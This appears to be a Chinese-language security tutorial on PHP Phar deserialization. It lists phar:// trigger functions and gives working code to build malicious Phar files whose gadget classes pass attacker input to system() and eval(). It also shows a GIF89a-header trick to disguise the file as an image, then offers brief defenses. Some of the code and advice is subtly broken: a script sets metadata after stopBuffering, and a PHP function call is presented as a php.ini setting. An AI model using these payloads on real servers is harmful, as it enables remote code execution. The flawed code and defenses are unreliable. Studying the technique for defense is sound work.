PHP Phar 反序列化详解
Phar 反序列化是 PHP 中一个重要的安全漏洞,主要利用了 Phar 文件的元数据序列化机制。

基本原理
Phar 文件在读取时会自动反序列化其元数据(metadata),而无需使用 unserialize() 函数,当使用 phar:// 协议访问 Phar 文件时,PHP 会自动反序列化存储在 Phar 中的 metadata。
// 触发点:任何可以处理 phar:// 协议的函数
file_exists('phar://test.phar');
is_dir('phar://test.phar');
file_get_contents('phar://test.phar');
include('phar://test.phar');
生成恶意 Phar 文件
<?php
class EvilClass {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}
// 创建 Phar 对象
$phar = new Phar('malicious.phar');
$phar->startBuffering();
// 设置 stub(必需)
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// 添加文件到 phar
$phar->addFromString('test.txt', 'test');
// 设置元数据(包含我们的恶意对象)
$phar->setMetadata(new EvilClass());
$phar->stopBuffering();
// 设置命令
$evil = new EvilClass();
$evil->cmd = 'id';
$phar->setMetadata($evil);
$phar->stopBuffering();
触发反序列化的常见函数
// 文件系统函数 file_exists() file_get_contents() file_put_contents() file() fileatime() filectime() filemtime() fileinode() fileowner() fileperms() filesize() filetype() is_dir() is_executable() is_file() is_link() is_readable() is_writable() is_writeable() stat() lstat() touch() // 其他函数 include() include_once() require() require_once() getimagesize() unlink() md5_file() sha1_file() readfile() fopen() finfo_open()
绕过限制的技巧
修改文件头
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');
压缩算法绕过
$phar->compress(Phar::GZ); // gzip 压缩 $phar->compress(Phar::BZ2); // bzip2 压缩
文件签名
$phar->setSignatureAlgorithm(Phar::MD5); // 或 $phar->setSignatureAlgorithm(Phar::SHA1);
完整攻击示例
// 1. 生成恶意 Phar 文件
class Vulnerable {
public $data;
public function __wakeup() {
eval($this->data);
}
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$obj = new Vulnerable();
$obj->data = 'echo "PWNED!"; system("id");';
$phar->setMetadata($obj);
$phar->stopBuffering();
// 2. 触发反序列化
// 假设有上传功能可以上传 .phar 文件或修改文件扩展名
// 然后通过文件函数触发
file_exists('phar://uploads/exploit.phar');
防御措施
-
禁用 phar:// 协议
// php.ini stream_wrapper_unregister('phar'); -
验证文件扩展名
if (pathinfo($filename, PATHINFO_EXTENSION) === 'phar') { die('Phar files not allowed'); } -
使用白名单验证
$allowed_extensions = ['jpg', 'png', 'gif', 'pdf']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array(strtolower($ext), $allowed_extensions)) { die('Invalid file type'); } -
检查文件内容
$content = file_get_contents($filename); if (strpos($content, '__HALT_COMPILER()') !== false) { die('Phar file detected'); }
注意事项
- 需要安装 phar 扩展才能生成 Phar 文件
- 在
php.ini中设置phar.readonly = Off才能生成 Phar 文件 - 攻击可能需要文件上传功能配合
- 某些 PHP 版本可能有不同的行为
这个漏洞展示了为什么不应该信任用户输入,以及在处理文件时验证的重要性。